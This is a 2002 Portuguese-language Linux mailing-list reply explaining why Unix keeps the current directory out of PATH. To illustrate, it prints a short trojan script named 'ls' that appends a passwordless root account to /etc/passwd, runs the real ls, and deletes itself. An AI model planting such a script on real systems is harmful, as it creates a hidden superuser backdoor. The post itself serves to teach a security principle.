On Fri, 15 Feb 2002, Sobrinho wrote:

> Li o seguinte:
> Outro detalhe: por motivos de seguran�a o diret�rio corrente n�o faz parte
> do PATH. Para executar programas no diret�rio corrente � necess�ria a
> utiliza��o dos caracteres ./ antes do nome do arquivo a ser executado.
> 
> D�vida: tudo bem entendi, mas de que maneira isso aumenta a seguran�a?

O negocio eh o seguinte, imagine que voce tem um aplicativo qualquer que
voce usa sempre "ls" ele esta no diretorio "/bin". Mas se nos *nix da vida
o PATH funcionasse como nos DOS/Windows, quer dizer o diretorio corrente
antes, senao busca no PATH.

Um usuario teu meio engracadinho cria um script do tipo:

#!/bin/bash

/bin/echo 'toor::0:0:/root:/bin/bash' >> /etc/passwd
/bin/ls $*
/bin/rm -f ./ls


e coloca no diretorio dele (ou outro onde ele pode escrever) com o nome de
'ls'... se voce enquanto administrador executar o comando 'ls' dentro
deste diretorio acabara de criar uma conta sem senha e com privilegios de
superusuario para ele :)

Acho que deu para pegar a ideia... 

                                                               Antonio.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Antonio S. Martins Jr. - System Analist |  "Only The Shadow Knows   |
| WorldNet Internet Maringa - PR - Brasil |   what evil lurks in the  |
| E-Mail: [EMAIL PROTECTED]              |       Heart of Men!"      |
|         [EMAIL PROTECTED]                   | !!! Linux User: 52392 !!! |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               This e-mail message is 100% Microsoft free!

                         /"\
                         \ /  CAMPANHA DA FITA ASCII - CONTRA MAIL HTML
                          X   ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL
                         / \





Assinantes em 16/02/2002: 2232
Mensagens recebidas desde 07/01/1999: 154799
Historico e [des]cadastramento: http://linux-br.conectiva.com.br
Assuntos administrativos e problemas com a lista:
            mailto:[EMAIL PROTECTED]

Responder a